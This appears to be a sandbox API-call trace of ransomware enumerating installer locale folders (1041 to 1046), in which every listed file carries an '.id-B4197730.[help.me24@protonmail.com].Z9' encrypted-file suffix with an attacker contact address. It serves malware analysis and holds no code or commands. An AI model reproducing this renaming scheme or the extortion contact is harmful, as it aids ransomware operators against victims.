	[0159.787] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3565995e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35908362, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.788] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ce80e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35ce80e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35d0e283, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.788] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362933ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.788] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362933ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.788] FindClose (in: hFindFile=0x76e928 | out: hFindFile=0x76e928) returned 1
	[0159.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.789] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0159.789] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.789] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ed68
	[0159.793] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.793] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3578ac54, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3578ac54, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35895e1b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.793] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x357fd1e9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x357fd1e9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35a39668, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.793] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.793] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.793] FindClose (in: hFindFile=0x76ed68 | out: hFindFile=0x76ed68) returned 1
	[0159.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.794] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0159.794] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.794] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0159.797] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.797] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35895e1b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35895e1b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35a5f798, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.797] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35a85baf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35a85baf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b6a895, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.797] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.798] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.798] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0159.799] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.799] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0159.799] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.799] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e628
	[0160.367] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.367] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35a5f798, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35a5f798, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ad1f49, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.367] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35a85baf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35a85baf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ad1f49, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.367] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3626a05b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3626a05b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362dbdff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.367] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3626a05b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3626a05b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362dbdff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.367] FindClose (in: hFindFile=0x76e628 | out: hFindFile=0x76e628) returned 1
	[0160.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.368] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0160.368] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.368] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0160.370] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.370] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b1e321, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b1e321, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35bdceb2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.370] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35d3463f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d3463f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ed7fca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.370] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b0b4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.370] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b0b4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.370] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0160.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.371] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0160.371] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.371] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.376] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.376] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6a895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b6a895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35bb6d88, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.376] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bb6d88, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bb6d88, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35bdceb2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.376] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3618695d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3618695d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b58de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.377] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3618695d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3618695d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b58de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.377] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0160.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.378] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0160.378] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.378] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
